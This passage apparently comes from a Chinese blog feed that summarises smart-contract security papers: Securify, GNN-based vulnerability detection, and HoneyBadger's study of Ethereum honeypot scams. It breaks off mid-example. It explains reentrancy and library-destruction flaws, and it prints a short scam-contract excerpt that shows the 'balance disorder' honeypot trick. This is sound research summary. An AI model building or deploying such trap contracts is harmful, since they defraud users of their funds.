Funds</h3><p>deposit函数有关键字payable,表明交易发送者可以通过调用该函数来向这个合约转账。这个合约的漏洞在于,它本身没有向其他账户转账的函数,实现的功能是通过调用别的合约作为library实现的。而合约可以被销毁。那么假设有一个攻击者销毁了library,那么调用这个library来实现转账的那个合约里面的资产会被全部冻结。</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201126192523.png" alt="image-20201126192450461" /></p><center>Figure 4: A wallet that delegates functionality to a librarycontract walletLibrary</center> <p>匹配该漏洞的violation pattern为:</p><ol><li>用户可向合约存钱,即stop指令(调用结束指令)不依赖于转账的以太币为0(即可以向合约成功存钱)</li><li>对于所有的call指令(调用函数指令),转出的以太币为0(即合约本身没有能力向外转出钱)</li></ol><h2 id="三-the-securify-system"><a class="markdownIt-Anchor" href="#三-the-securify-system"></a> 三、THE SECURIFY SYSTEM</h2><p>本部分展示整个系统的实现:</p><ol><li>绿色部分指代输入,即EVM bytecode and security patterns</li><li>红色部分指代输出,即a violated instruction</li><li>灰色框代表中间分析工件(intermediate analysis artifacts)</li></ol><p>Securify分三个步骤进行:</p><ol><li>将合同的EVM字节码反编译(decompiles)为静态单分配形式(static-single assignment form);</li><li>推断有关合同的语义事实(semantics facts);</li><li>匹配合同上受限写属性(restricted write property)的违反模式(the violation pattern)。</li></ol><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201126192830.png" alt="image-20201126192828618" /></p><center>Figure Figure 5: High-level flow illustrating how Securify finds the unrestricted write to the owner field of the contract</center> <h3 id="inputs"><a class="markdownIt-Anchor" href="#inputs"></a> INPUTS</h3><ol><li>合约的bytecode或者solidity源代码(编译成bytecode)</li><li>patterns,用DSL描述</li></ol><h4 id="decomplie"><a class="markdownIt-Anchor" href="#decomplie"></a> Decomplie</h4><p>bytecode在以太坊虚拟机EVM上运行。EVM是一个基于栈的虚拟机。</p><p>Securify将基于栈运行的bytecode转换为不基于栈的SSA表达形式,具体做法未详细给出。</p><p>之后恢复CFG,其中针对Securify的整体分析方法做了一些优化。</p><h4 id="inferring-semantic-facts"><a class="markdownIt-Anchor" href="#inferring-semantic-facts"></a> Inferring Semantic Facts</h4><p>该部分Securify分析合约的 semantic facts,使用Datalog描述。整个过程使用已有的Datalog Solver全自动化工具。分析包含了数据依赖和控制依赖。</p><p>首先Securify分析针对指令分析出base fact,比如说</p><blockquote><p>l1: a = 4 分析得到</p><p>assign(l1, a, 4)</p></blockquote><p>之后,分析每一个指令后,将得到的所有base facts输入到已有的工具,推断出进一步的语义信息,即semantic facts。</p><h4 id="checking-security-patterns"><a class="markdownIt-Anchor" href="#checking-security-patterns"></a> Checking Security Patterns</h4><p>patterns使用securify自己的语言描述。模式匹配时,Security 迭代指令,处理含有some和all量词的pattern,以及,为了检查推断出的facts, Securify直接向Datalog Solver查询。Securify的模式匹配局限之处为:安全特征比较宽泛,没有对具体的合约分析</p><h2 id="四-实验评估"><a class="markdownIt-Anchor" href="#四-实验评估"></a> 四、实验评估</h2><p>作者主要进行了一下几个实验</p><ol><li>对真实的合约做分析,评估Securify的有效性</li><li>将Securify与Oyente和Mythril(两个已有智能合约分析工具)比较<ul><li>注意Oyente和Mythril均是基于符号执行的,因此被这两个工具分析出的结果是必定会被执行到的</li></ul></li><li>评估Securify对memory和storage的分析结果</li><li>取得Securify分析时的时间和内存消耗</li></ol><p>作者使用的数据集有两个</p><ol><li>约25K的bytecode数据集(EVM dataset)</li><li>100个solidity数据集(solidity dataset)</li></ol><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201126191157.png" alt="image-20201126191157161" /></p><center>Figure 11: Securify results on the EVM dataset</center><h2 id="五-总结评价"><a class="markdownIt-Anchor" href="#五-总结评价"></a> 五、总结评价</h2><p>主要贡献:</p><ol><li>使用反汇编Datalog描述智能合约</li><li>通过compliance 和 violation的pattrn,来检查给定安全特征是否满足</li><li>提出了Securify这个工具</li></ol><p>一些不足:</p><ol><li>Securify比已有的两个工具效果好很多,可是Securify的基本方法和这两个工具不同,比较不是很令人信服。</li></ol>]]></content>
<categories>
<category>智能合约</category>
</categories>
<tags>
<tag>Smart Contract</tag>
</tags>
</entry>
<entry>
<title>Smart Contract Vulnerability Detection Using Graph Neural Networks</title>
<link href="/2020/11b0e81d94.html"/>
<url>/2020/11b0e81d94.html</url>
<content type="html"><![CDATA[<h1 id="smart-contract-vulnerability-detection-using-graph-neural-networks"><a class="markdownIt-Anchor" href="#smart-contract-vulnerability-detection-using-graph-neural-networks"></a> Smart Contract Vulnerability Detection Using Graph Neural Networks</h1><p>论文题目:(2020-IJCAI)<a href="https://www.ijcai.org/Proceedings/2020/0454.pdf">Smart Contract Vulnerability Detection Using Graph Neural Networks</a> ——图神经网络的智能合约漏洞检测</p><p>论文引用:ZHUANG Y, LIU Z, QIAN P, 等. <a href="https://www.ijcai.org/Proceedings/2020/0454.pdf">Smart Contract Vulnerability Detection Using Graph Neural Networks</a>[C]//2020, 3: 3283–3290.</p><p>代码开源:<a href="https://github.com/Messi-Q/GraphDeeSmartContract">Messi-Q/GraphDeeSmartContract</a></p><p>汇报PPT:<a href="https://conf.ccf.org.cn/web/formDes/download.action?realFileName=%E5%9F%BA%E4%BA%8E%E5%9B%BE%E7%A5%9E%E7%BB%8F%E7%BD%91%E7%BB%9C%E7%9A%84%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E%E6%A3%80%E6%B5%8B.pdf&_ack=1&filePath=UeditorAttach%2F886ce10a7ede48cead751ff7bc28d62b.pdf">基于图神经网络的智能合约安全漏洞检测</a></p><h2 id="一-主要内容"><a class="markdownIt-Anchor" href="#一-主要内容"></a> 一、主要内容</h2><p>在本文中探索使用图神经网络(graph neural networks,GNN)进行智能合约漏洞检测。构造了一个合同图(contract graph)来表示智能合同功能的句法和语义结构(syntactic and semantic structures)。</p><p>为了突出显示主要节点,设计了一个消除阶段(elimination phase)来标准化该图。然后提出了一种无度图卷积神经网络(degree-free graph convolutional neural network,DR-GCN)和时间消息传播网络(temporal message propagation network,TMP),以从归一化图(the normalized graphs)学习漏洞检测。</p><p>对300,000多个现实世界的智能合约功能进行了广泛的实验,结果表明,在检测不同类型的漏洞(包括可重入性(reentrancy),时间戳依赖性(timestamp dependence)和无限循环漏洞(infinite loop vulnerabilities)方面,该方法显着且始终优于最新方法。</p><h3 id="背景介绍"><a class="markdownIt-Anchor" href="#背景介绍"></a> 背景介绍</h3><p>当前的智能合约漏洞检测方法主要是受编程语言社区现有的测试方法启发,围绕符号执行(symbolic execution)和动态执行方法(dynamic execution methods)。</p><p>作者仔细研究了现有方法的已发布实现,并根据经验观察到它们存在两个关键问题。</p><ol><li>现有方法严重依赖于一些专家定义的硬性规则(或模式)来检测智能合约漏洞。但是,专家规则(expert rules)容易出错,有些复杂的模式也不容易被覆盖。粗暴地使用几个硬性规则会导致较高的 false-positive,FP和false-negative,FN率,并且狡猾的攻击者可能会轻易绕过规则进行攻击。</li><li>其次,由于规则是由开发检测工具的少数“集中式”专家制定的,因此其可扩展性固有地受到限制。随着智能合约数量的快速增长,少数专家无法筛选所有合同以设计精确的规则,而其他“分散式”专家的知识也无法纳入以改进模型。</li></ol><h2 id="二-设计实现"><a class="markdownIt-Anchor" href="#二-设计实现"></a> 二、设计实现</h2><p>作者根据程序语句之间的数据和控制依赖性(data- and control- dependencies)将智能合约的源代码表征为合约图(contract graph)。图中的节点表示关键函数调用或变量,而边沿则捕获其临时执行轨迹(temporal execution traces)。由于大多数GNN在信息传播过程中本质上是平坦的,因此设计了消除阶段(elimination phase)以对图形进行归一化。作者将GCN扩展为无度GCN(degree-free GCN,DR-GCN),以处理归一化图。同时,考虑到不同程序元素的不同角色和时间关系,并提出了一种新颖的时间消息传播网络(message propagation network,TMP)。</p><h3 id="problem-formulation"><a class="markdownIt-Anchor" href="#problem-formulation"></a> Problem formulation</h3><p>问题表述:将为每个智能合约函数SC标记为标签<span class="katex"><span class="katex-mathml"><math><semantics><mrow><mover accent="true"><mi>y</mi><mo>^</mo></mover></mrow><annotation encoding="application/x-tex">\hat{y}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord accent"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.69444em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">y</span></span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.19444em;">^</span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.19444em;"><span></span></span></span></span></span></span></span></span>,其中$\hat{y} = 1 <span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi mathvariant="normal">表</mi><mi mathvariant="normal">示</mi><mi>S</mi><mi>C</mi><mi mathvariant="normal">具</mi><mi mathvariant="normal">有</mi><mi mathvariant="normal">某</mi><mi mathvariant="normal">种</mi><mi mathvariant="normal">类</mi><mi mathvariant="normal">型</mi><mi mathvariant="normal">的</mi><mi mathvariant="normal">漏</mi><mi mathvariant="normal">洞</mi><mi mathvariant="normal">,</mi><mi mathvariant="normal">而</mi></mrow><annotation encoding="application/x-tex">表示SC具有某种类型的漏洞,而</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord cjk_fallback">表</span><span class="mord cjk_fallback">示</span><span class="mord mathdefault" style="margin-right:0.05764em;">S</span><span class="mord mathdefault" style="margin-right:0.07153em;">C</span><span class="mord cjk_fallback">具</span><span class="mord cjk_fallback">有</span><span class="mord cjk_fallback">某</span><span class="mord cjk_fallback">种</span><span class="mord cjk_fallback">类</span><span class="mord cjk_fallback">型</span><span class="mord cjk_fallback">的</span><span class="mord cjk_fallback">漏</span><span class="mord cjk_fallback">洞</span><span class="mord cjk_fallback">,</span><span class="mord cjk_fallback">而</span></span></span></span>\hat{y} = 0$表示SC是安全的。在本文中,作者重点介绍了三种类型的漏洞:</p><ol><li><mark>Reentrancy</mark>:重入是一个众所周知的漏洞,引起了臭名昭著的DAO攻击。在以太坊中,当智能合约函数F1将资金转移到接收人合约C1时,C1的fallback将被自动触发。 C1可以在其中调用F1以重新进入F1以窃取金钱。由于F1的当前执行等待传输完成,因此C1可以利用中间状态F1来成功进行窃取。</li><li><mark>Infinite loop</mark>:无限循环是智能合约中的常见漏洞。函数的程序可能包含没有退出条件或无法达到退出条件的迭代或循环,即无限循环。智能合约中的Infinite loop增加了这种非终止错误的新可能性,即函数与fallback函数之间的循环调用。例如,函数A用错误的参数调用函数B,这将自动触发此合同中的fallback函数的执行。假设fallback函数进一步调用函数A,这将导致A与fallback函数之间的调用循环。</li><li><mark>Timestamp dependence</mark>:当智能合约使用块时间戳作为执行某些关键操作的触发条件时,存在时间戳依赖漏洞。以太坊中的矿工可以在短时间间隔(<900秒)内设置区块的时间戳[Jiang et al。,2018]。因此,矿工可能会操纵区块时间戳来获取非法利益。</li></ol><h3 id="method-overview"><a class="markdownIt-Anchor" href="#method-overview"></a> Method overview</h3><p>总体架构包括三个阶段:</p><ol><li>graph generation phase:图生成阶段,该阶段从源代码中提取控制流和数据流的语义,并显式地建模回退机制(the fallback mechanism);</li><li>graph normalization phase:图规范化阶段</li><li>message propagation networks:用于漏洞建模和检测的时间消息传播网络。</li></ol><h3 id="graph-generation"><a class="markdownIt-Anchor" href="#graph-generation"></a> Graph Generation</h3><p>现有工作[Allamanis et al。,2018]表明,程序可以转换为符号图表示形式(symbolic graph representations),能够保留程序元素之间的语义关系。受此启发,作者将智能合约功能公式化为合约图,并为不同的程序元素(节点)分配了不同的角色。函数中的不同程序元素的重要性并不相同。<br />因此,作者提取了三类节点,即主要节点,次要节点和后备节点。此外,通过考虑边缘的时间顺序来构造它们。</p><h4 id="major-nodes-construction"><a class="markdownIt-Anchor" href="#major-nodes-construction"></a> Major nodes construction</h4><p>主要节点表示对自定义或内置函数的调用,这些调用对于检测特定漏洞很重要。</p><p>例如,对于重入漏洞,主节点对调用传递函数或内置的call.value函数进行建模,这是检测重入的关键。</p><p>对于时间戳依赖漏洞,内置函数调用block.timestamp被提取为主要节点。</p><p>对于无限循环,合同中的所有自定义功能均被视为主要节点。</p><p>形式上,我们将所有关键函数表征为主要节点,分别用M1,M2,…Mn表示。</p><h4 id="secondary-nodes-construction"><a class="markdownIt-Anchor" href="#secondary-nodes-construction"></a> Secondary nodes construction</h4><p>主要节点代表重要的调用,而次要节点则用于建模关键变量,例如,用户余额和奖励标志。形式上,关键变量定义为辅助节点S1,S2,…Sn。</p><h4 id="fallback-node-construction"><a class="markdownIt-Anchor" href="#fallback-node-construction"></a> Fallback node construction</h4><p>此外,我们构造了一个后备节点F来激发攻击合同的fallback函数,该函数可以与Test 函数进行交互。fallback函数是智能合约中的一种特殊设计,并且是许多安全漏洞的原因。</p><h4 id="edges-construction"><a class="markdownIt-Anchor" href="#edges-construction"></a> Edges construction</h4><p>进一步构造边缘以对节点之间的关系建模。每个边都描述了被测试中的合同功能可能遍历的路径,并且该边的时间编号表征了其在功能中的顺序。</p><p>具体来说,将边缘的特征提取为元组(Vs,Ve,o,t),其中Vs和Ve表示其开始和结束节点,o表示其时间顺序,t表示边缘类型。</p><p>为了捕获节点之间丰富的语义依赖性,我们构造了四种类型的边缘,即控制流(control flow),数据流(data flow),前向边(forward edges)和后向边(fallback edges)。</p><center>Table 1:Semantic edges summarization. All edges are classifiedinto 4 types, namely control-flow, data-flow, forward, and fallback.</center><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201121223712.png" alt="image-20201121223712698" /></p><p>图1(a)和(b)分别展示了合同摘要和为其getBonus函数构建的图表。</p><ol><li>智能合约的源代码</li><li>源代码中提取的图:圆圈中的节点表示主要节点,正方形中的节点表示次要节点。</li><li>归一化后的图。</li></ol><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201121215048.png" alt="image-20201121215041192" /></p><center>Figure 1: The graph generation and normalization phases of our method</center><h3 id="contract-graph-normalization"><a class="markdownIt-Anchor" href="#contract-graph-normalization"></a> Contract Graph Normalization</h3><p>大多数图神经网络在传播信息时本来就是平坦的,而忽略了某些节点比其他节点扮演着更重要的角色。<br />此外,不同的合同源代码会产生不同的图,从而阻碍了图神经网络的训练。因此,作者提出了一个节点消除过程(node elimination process)来规范化图。</p><h4 id="nodes-elimination"><a class="markdownIt-Anchor" href="#nodes-elimination"></a> Nodes elimination</h4><p>如上所述,图的节点分为主节点Mi,次要节点Si和后备节点Fi。我们删除了每个次要节点Si,但将Si的特征传递给了最近的主节点。注意,如果Si具有多个最近的主要节点,则其特征将传递给所有这些主要节点。后备节点的删除方式也与次要节点类似。保留了连接到已删除节点的边,但其起点或终点移动到了相应的主节点。</p><h4 id="feature-of-major-nodes"><a class="markdownIt-Anchor" href="#feature-of-major-nodes"></a> Feature of major nodes</h4><p>通过聚合来自其相邻已删除节点的要素来更新主要节点的要素。为了区分聚合后的原始主节点及其对应的主节点,我们将Mi的新主节点称为Vi。 Vi的特征包括三个部分:</p><ol><li>自特征,即主节点Mi的特征;</li><li>in 特征,即合并到Mi并具有从Pj到Mi的路径的次要节点Pj的特征;</li><li>外部特征,即合并到Mi的次要节点Qk的特征,并具有从Qk到Mi的路径。</li></ol><p>图1(c)显示了出了图1(b)的归一化图。</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201121224834.png" alt="image-20201121215041192" /></p><center>Figure 1: The graph generation and normalization phases of our method</center><h3 id="message-propagation-neural-networks"><a class="markdownIt-Anchor" href="#message-propagation-neural-networks"></a> Message Propagation Neural Networks</h3><p>在本小节中,首先将GCN扩展到无度GCN(DR-GCN),然后提出一种时间消息传播网络(temporal message propagation network,TMP)。所提出的两个网络都以智能合约函数的归一化图G作为输入,并输出标签$\hat{y} \in {0,1} $指示该函数是否具有某种类型的漏洞。</p><h4 id="dr-gcn"><a class="markdownIt-Anchor" href="#dr-gcn"></a> DR-GCN</h4><p>[Kipf andWelling,2017]提出将卷积神经网络应用于图结构数据,从而开发出分层传播网络:</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201121225126.png" alt="image-20201121225126800" /></p><h4 id="tmp"><a class="markdownIt-Anchor" href="#tmp"></a> TMP</h4><p>TMP网络,该网络由消息传播阶段(message propagation phase)和读出阶段(a readout phase)组成。在消息传播阶段,TMP遵循其时间顺序依次沿边缘传递信息。然后,TMP通过使用读出函数为整个图G计算一个标签,该函数汇总G中所有节点的最终状态。正式地,<span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>G</mi><mo>∈</mo><mo stretchy="false">{</mo><mi>V</mi><mo separator="true">,</mo><mi>E</mi><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">G \in \{V,E\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.72243em;vertical-align:-0.0391em;"></span><span class="mord mathdefault">G</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord mathdefault" style="margin-right:0.22222em;">V</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathdefault" style="margin-right:0.05764em;">E</span><span class="mclose">}</span></span></span></span> ,其中V由所有主要节点组成,E包含所有边缘<span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>E</mi><mo>=</mo><mo stretchy="false">{</mo><msub><mi>e</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>e</mi><mn>2</mn></msub><mo separator="true">,</mo><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><msub><mi>e</mi><mi>N</mi></msub><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">E = \{e_1,e_2,...e_N\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.05764em;">E</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord"><span class="mord mathdefault">e</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault">e</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord">.</span><span class="mord">.</span><span class="mord">.</span><span class="mord"><span class="mord mathdefault">e</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.32833099999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.10903em;">N</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">}</span></span></span></span>,其中ek代表第k个时间边缘。</p><h4 id="message-propagation-phase"><a class="markdownIt-Anchor" href="#message-propagation-phase"></a> Message propagation phase</h4><p>消息沿边缘传递,每个时间步沿一个边缘。在时间步骤0,利用Vi的特征初始化每个节点Vi的隐藏状态h0i。在时间步骤k,消息流过第k个时间边缘ek并更新Vek的隐藏状态,即ek的末端节点。特别地,消息mk是基于hsk,ek的起始节点的隐藏状态以及边缘类型tk计算的:</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201121230310.png" alt="image-20201121230310243" /></p><ol><li>输入归一化图;</li><li>消息传播阶段;</li><li>输出漏洞检测结果的读取阶段</li></ol><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201121225211.png" alt="image-20201121225211581" /></p><center> Figure 2: The overall architecture of proposed TMP. </center><h2 id="三-实验评估"><a class="markdownIt-Anchor" href="#三-实验评估"></a> 三、实验评估</h2><h3 id="datasets"><a class="markdownIt-Anchor" href="#datasets"></a> Datasets</h3><p>对所有在以太坊和VNT链平台上具有源代码的智能合约进行了广泛的实验。将两个现实世界的智能合约数据集分别表示为ESC(以太坊智能合约)和VSC(VNT链智能合约)。</p><ul><li>ESC包含40,932个以太坊智能合约,其中约307396个函数。在这些函数中,大约有5013个至少具有一个call.value调用,从而使它们可能受到重入漏洞的影响。 有4833函数包含block.timestamp语句,使它们容易受到时间戳依赖的漏洞的影响。</li><li>VSC包含从VNT链中收集了4170个智能合约,大致包含13761个函数。 VNT Chain是由新加坡,中国和澳大利亚的公司和大学提出的实验性公共区块链平台。</li></ul><h3 id="experimental-settings"><a class="markdownIt-Anchor" href="#experimental-settings"></a> Experimental Settings</h3><p>本文方法(DR-GCN和TMP)与总共十二种其他方法进行了比较,即四种现有的智能合约漏洞检测方法(Oyente [Luu等人,2016],Mythril [Mueller,2017],Smartcheck [Tikhomirov等人<br />等(2018)和Securify [Tsankov等,2018]),四种基于神经网络的方法(Vanilla-RNN,LSTM,GRU和GCN)和四种程序循环检测方法(Jolt [Carbin等, 2011],PDA [Ibing和Mai,2015],SMT [Kling等,2012]和Looper [Burnim等,2009])。</p><h3 id="result"><a class="markdownIt-Anchor" href="#result"></a> Result</h3><p>性能评价指标包含正确性(accuracy),查全率(recall),准确度(precision)和F1分数(F1 score)。</p><center>Table 2:Performance comparison</center><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201121220614.png" alt="image-20201121220614227" /></p><p>表2 在准确性,召回率,精确度和F1得分方面进行性能比较。<br />比较中总共研究了14种方法,包括最新的漏洞检测方法,基于神经网络的替代方法,本方法DR-GCN和TMP。 “ –”表示不适用。</p><center>Table 3:DR-GCN、TMP及其变体在三个漏洞检测任务上的准确性比较</center><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201121220759.png" alt="image-20201121220759066" /></p><h2 id="四-总结评论"><a class="markdownIt-Anchor" href="#四-总结评论"></a> 四、总结评论</h2><p>本文优点:</p><ol><li>引入了新颖的时间消息传播网络(TMP)和无度GCN(DR-GCN),以自动检测智能合约漏洞。</li><li>采取了新颖的方法将合约函数源代码表征为联系图,并明确规范化该图以突出显示关键节点。</li><li>本文的方法在智能合约漏洞检测方面有很好的性能。</li></ol>]]></content>
<categories>
<category>智能合约</category>
</categories>
<tags>
<tag>Smart Contract</tag>
<tag>GNN</tag>
</tags>
</entry>
<entry>
<title>The art of the scam: Demystifying honeypots in ethereum smart contracts</title>
<link href="/2020/1140f574c1.html"/>
<url>/2020/1140f574c1.html</url>
<content type="html"><![CDATA[<h1 id="honeybadger"><a class="markdownIt-Anchor" href="#honeybadger"></a> HoneyBadger</h1><p>论文题目:(2019-USENIX) <a href="https://arxiv.org/pdf/1902.06976.pdf">The art of the scam: Demystifying honeypots in ethereum smart contracts</a>——诈骗的艺术:以太坊智能合约中的蜜罐解谜</p><p>论文引用:Torres C F, Steichen M. The art of the scam: Demystifying honeypots in ethereum smart contracts[C]//28th {USENIX} Security Symposium ({USENIX} Security 19). 2019: 1591-1607.</p><p>代码开源: <a href="https://github.com/christoftorres/HoneyBadger">https://github.com/christoftorres/HoneyBadger</a></p><h2 id="一-主要内容"><a class="markdownIt-Anchor" href="#一-主要内容"></a> 一、主要内容</h2><p>本篇论文作者同是也是《 <a href="https://dl.acm.org/doi/abs/10.1145/3274694.3274737">Osiris: Hunting for integer bugs in ethereum smart contracts</a>》的作者,都是基于Oyente工具开展进一步研究。本文通过调查蜜罐智能合约的普遍性、行为和对以太坊区块链的影响,首次对蜜罐智能合约进行了系统分析。作者开发了一个蜜罐技术的分类法,并使用它来构建蜜獾———一种使用符号执行和定义良好的启发式方法来公开蜜罐的工具。</p><p>对200多万个智能合约进行了大规模的分析,结果表明,蜜獾不仅具有很高的精度,而且还具有很高的效率。具体而言,本文做出了以下贡献:</p><ol><li>对以太坊出现的一种新型欺诈蜜罐进行了第一次系统分析;</li><li>确定蜜罐使用的常见技术,并将其分类;</li><li>提供HoneyBadger——一种自动检测以太坊智能合约中的蜜罐的工具;</li></ol><h2 id="二-背景介绍"><a class="markdownIt-Anchor" href="#二-背景介绍"></a> 二、背景介绍</h2><p>下面提供了蜜罐的一般定义,并介绍了作者对蜜罐的分类</p><h3 id="21-honeypots蜜罐"><a class="markdownIt-Anchor" href="#21-honeypots蜜罐"></a> 2.1 Honeypots(蜜罐)</h3><p>蜜罐是(Honeypot)一种智能合约,在用户向其发送资金的前提下,它假装将资金泄漏给任意用户(受害者)。然而,用户提供的资金将被困住,蜜罐创建者(攻击者)将能够取回它们。蜜罐一般分为三个阶段:</p><ol><li>攻击者部署一个看似脆弱的合约,并以资金的形式设置诱饵;</li><li>受害人试图利用合约(转移最低所需资金,但未成功);</li><li>攻击者将诱饵连同受害者丢失的资金一起取走。</li></ol><p>攻击者不需要特殊功能就可以设置蜜罐,而只需要必要的资金来部署智能合约和放置诱饵。</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201113213130.png" alt="image-20201113213130688" /></p><center>Figure 1 Actors and phases of a honeypot</center><h3 id="22-taxonomy-of-honeypots"><a class="markdownIt-Anchor" href="#22-taxonomy-of-honeypots"></a> 2.2 Taxonomy of Honeypots</h3><p>作者总共收集了24个蜜罐,并提取了8种不同的蜜罐技术。不同的技术按其操作级别分为三类:</p><ol><li>以太坊虚拟机</li><li>Solidity编译器</li><li>以太坊区块浏览器Etherscan</li></ol><center>Table 1 A taxonomy of honeypot techniques in Ethereumsmart contracts.</center><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201113212639.png" alt="image-20201113212639615" /></p><p>第一类利用EVM的异常行为欺骗用户。尽管EVM遵循一套严格且公开的规则,但用户仍然可能被存在不一致行为的智能合约所误导。</p><p>第二类涉及从Solidity编译器引入的问题。虽然有些编译器问题是众所周知的,但其他问题仍然没有记录在案,如果用户不仔细分析智能合约或不在实际条件下测试它,则可能会被忽略。</p><p>第三类与Etherscan网站上显示的有限信息相关。Etherscan可能是以太坊最著名的区块链浏览器了,许多用户完全信任其中显示的数据,而不怀好意者正好利用了这点。</p><h3 id="23-honeypot-technique"><a class="markdownIt-Anchor" href="#23-honeypot-technique"></a> 2.3 Honeypot Technique</h3><h4 id="231-balance-disorde"><a class="markdownIt-Anchor" href="#231-balance-disorde"></a> 2.3.1 Balance Disorde</h4><p>图2 使用了一种我们称之为平衡紊乱技术(Balance Disorde)。<code>multiplicate</code>表示合约的余额(本余额)以及此函数调用的交易中包含的值(交易值)。如果此段代码中我们可以看到,函数的调用方包含的值如果大于或等于智能合约的当前余额,则余额会被传输到任意地址。</p><p>因此,居心不良的用户会相信他所需要做的,就是用一个高于当前余额的值调用这个函数,作为回报,他将收获本钱以及合约余额。但是,如果用户试图这样做,他会很快意识到第5行没有执行,因为第4行的条件不成立。原因是因为在实际执行智能合约之前,余额已随交易值递增。最后的结果只能是合约永远比你有钱。</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs javascript">contract MultiplicatorX3 {<br> ...<br> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">multiplicate</span>(<span class="hljs-params">address adr</span>) <span class="hljs-title">payable</span> </span>{<br> <span class="hljs-keyword">if</span> (msg.value >= <span class="hljs-built_in">this</span>.balance)<br> adr.transfer(<span class="hljs-built_in">this</span>.balance+msg.value);<br> }<br>}<br></code></pre></td></tr></table></figure><center>Figure 2: An example of a balance disorder honeypot</center><h4 id="232-inheritance-disorder"><a class="markdownIt-Anchor" href="#232-inheritance-disorder"></a> 2.3.2 Inheritance Disorder</h4><p>有一个继承自合同Ownable的合同KingOfTheHill:函数takeAll只允许变量拥有者中存储的地址提取合同余额,但可以通过调用消息值大于当前值的回退函数来修改owner变量。</p><p>现在,如果用户试图调用函数以将自己设置为所有者,则交易成功。但是,如果他或她后来试图收回余额,交易失败。原因是在第9行声明的变量所有者与在第2行声明的变量所有者不同。调用者希望第9行的所有者将被第2行的所有者覆盖,但事实并非如此。Solidity编译器将这两个变量视为不同的变量,因此在第9行写入调用者也不会导致修改合约Ownable中定义所有者。</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span 